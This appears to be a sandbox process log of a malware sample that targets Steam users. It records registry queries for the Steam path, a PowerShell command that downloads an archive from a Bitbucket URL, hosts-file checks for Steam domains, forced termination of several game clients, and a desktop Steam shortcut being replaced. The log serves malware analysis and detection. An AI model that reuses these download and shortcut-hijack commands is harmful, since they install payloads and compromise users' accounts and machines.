C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath

C:\Windows\system32\reg.exe

reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop

C:\Windows\system32\reg.exe

reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/j46j746/hg56h56h56h/raw/7db2d3da302e81e3311c7814241af0d59152a170/lem.rar', 'C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar')"

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Users\Admin\AppData\Roaming\ywf23syg.cmz1.exe

"C:\Users\Admin\AppData\Roaming\ywf23syg.cmz1.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8DEA.tmp\8DEB.tmp\8DEC.bat C:\Users\Admin\AppData\Roaming\ywf23syg.cmz1.exe"

C:\Windows\system32\chcp.com

chcp 1251

C:\Windows\system32\findstr.exe

findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\findstr.exe

findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\findstr.exe

findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\schtasks.exe

schtasks /query /tn "MyBatchScript"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath

C:\Windows\system32\reg.exe

reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop

C:\Windows\system32\reg.exe

reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\runHidden.vbs"

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=A419AC16ACD72367F5F03B41A7C92859 --mojo-platform-channel-handle=1692 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=579600A6B4AD153318825DC4E0030F2F --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=579600A6B4AD153318825DC4E0030F2F --renderer-client-id=2 --mojo-platform-channel-handle=1780 --allow-no-sandbox-job /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=1F5EEE5CD9E7C124B0BAC1B1A4077A2A --mojo-platform-channel-handle=2308 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=36CCE7F9BE76BA8EEAB9A226C488A818 --mojo-platform-channel-handle=1972 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=A6FC522017012243E57C506BCBD3413D --mojo-platform-channel-handle=2572 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Windows\system32\tasklist.exe

tasklist

C:\Windows\system32\find.exe

find /i "tf_win64.exe"

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\taskkill.exe

taskkill /f /im tf_win64.exe

C:\Windows\system32\tasklist.exe

tasklist

C:\Windows\system32\find.exe

find /i "dota2.exe"

C:\Windows\system32\taskkill.exe

taskkill /f /im dota2.exe

C:\Windows\system32\tasklist.exe

tasklist

C:\Windows\system32\find.exe

find /i "cs2.exe"

C:\Windows\system32\taskkill.exe

taskkill /f /im cs2.exe

C:\Windows\system32\tasklist.exe

tasklist

C:\Windows\system32\find.exe

find /i "RustClient.exe"

C:\Windows\system32\taskkill.exe

taskkill /f /im RustClient.exe

C:\Windows\system32\tasklist.exe

tasklist

C:\Windows\system32\find.exe

find /i "GTA5.exe"

C:\Windows\system32\taskkill.exe

taskkill /f /im GTA5.exe

C:\Windows\system32\tasklist.exe

tasklist

C:\Windows\system32\find.exe

find /i "TslGame.exe"

C:\Windows\system32\taskkill.exe

taskkill /f /im TslGame.exe

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\tasklist.exe

tasklist

C:\Windows\system32\find.exe

find /i "RainbowSix.exe"

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\taskkill.exe

taskkill /f /im RainbowSix.exe

C:\Windows\system32\timeout.exe

timeout /t 3

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\tasklist.exe

tasklist

C:\Windows\system32\find.exe

find /i "steam.exe"

C:\Windows\system32\taskkill.exe

taskkill /f /im steam.exe

C:\Windows\system32\timeout.exe

timeout /t 3

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\tar.exe

tar -xf "C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar" -C ""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell "$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('C:\Users\Admin\Desktop\Steam.lnk'); $s.TargetPath = '\steam.exe'; $s.Save()"

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Program Files\Microsoft Office\root\Office16\Winword.exe

"C:\Program Files\Microsoft Office\root\Office16\Winword.exe" /n "C:\Users\Admin\AppData\Roaming\runHidden.vbs"

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

